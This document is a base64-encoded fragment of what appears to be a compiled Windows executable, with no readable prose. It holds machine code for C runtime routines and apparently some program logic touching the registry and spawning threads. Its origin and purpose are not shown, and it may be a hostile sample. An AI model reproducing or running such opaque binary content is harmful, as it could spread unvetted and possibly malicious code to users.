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 